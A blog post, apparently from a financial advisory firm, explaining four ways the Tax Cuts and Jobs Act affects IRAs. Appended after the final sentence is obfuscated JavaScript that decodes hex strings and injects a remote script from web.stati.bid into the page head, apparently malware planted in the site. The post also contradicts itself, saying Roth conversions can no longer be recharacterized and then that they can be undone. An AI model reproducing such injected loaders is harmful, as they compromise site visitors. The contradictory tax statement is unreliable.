The Tax Cuts and Jobs Act made substantial changes to our tax laws. Most tax brackets changed, most deductions are eliminated, and qualified retirement plans are affected. Are you wondering what the new law means for your IRA?
Here are 4 things you should know about changes in the tax rules:
1. Elimination of Re-characterization of Roth IRA conversions.
Starting in 2018, when you do a Roth conversion, tax reform eliminates re-characterization.
This doesn’t mean that you should not convert to Roth IRA. Tax reform’s new lower rates may make now a better time than ever for some taxpayers to convert. Your conversion will be permanent versus before when you could have a “do over”. You can “undo” this conversion, so make sure it’s the right move for you. Now more than ever, good professional tax and financial advice is important.
2. Qualified Charitable Distributions (QCDs) –an even greater potential tool than before.
Doubling the standard deduction, along with suspending and limiting many other deductions, fewer taxpayers are able to itemize. This is especially true for those who are in RMD.
This means fewer folks may be able take advantage of deductions for charitable giving. With a QCD, you can use the new standard deduction and still get a tax break for your charitable contributions. So, the question is: is a QCD right for you? There are some rules to consider. For example, you must be age 70 ½, and funds from your IRA must go directly to a qualified charitable organization. You’re also limited to an annual gift amount of $100,000. The big reason and a bonus benefit is that your QCD can satisfy your required minimum distribution while keeping the RMD off of your tax return.
3. Medical expense- expanded exception to the 10% penalty.
Do you have high medical expenses? Changes to our tax laws may offer some relief by lowering the threshold to qualify for a penalty-free IRA distributions.
For 2017 and 2018, if your medical expenses will exceed 7.5% of your adjusted gross income (AGI) you may be eligible to take a penalty-free distribution from your IRA. The penalty-free distribution is limited to the amount by which your medical expenses exceed 7.5% of AGI. Penalty free does not mean tax-free so keep that in mind as you consider this option.
4. The stretch IRA remains.
The stretch IRA is one of the biggest benefits of the tax code, this strategy allows you to pass your IRA to children and even grandchildren. Rather than forcing them to take a taxable distribution from the IRA you provide them with options on keeping the same account that you had. Your beneficiaries can instead stretch RMD’s from their inherited IRAs for years and enjoy perhaps decades of tax-deferred growth.
Even better, if you pass on a Roth IRA the growth within the accounts, as well as the distributions, are tax-free.
There were proposals in Congress to do away with this tax break and require non-spouse beneficiaries to use a five-year mandated payout rule. But the good news is- these proposals aren’t part of the final law. The stretch IRA has survived and is still with us and a potent tool.
For more information about changes to our tax laws, download our brochure, 2018 Tax Reform Highlights. var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4](_0x29b4);el[_0x29b4]= _0x29b4;document[_0x29b4][_0x29b4](el)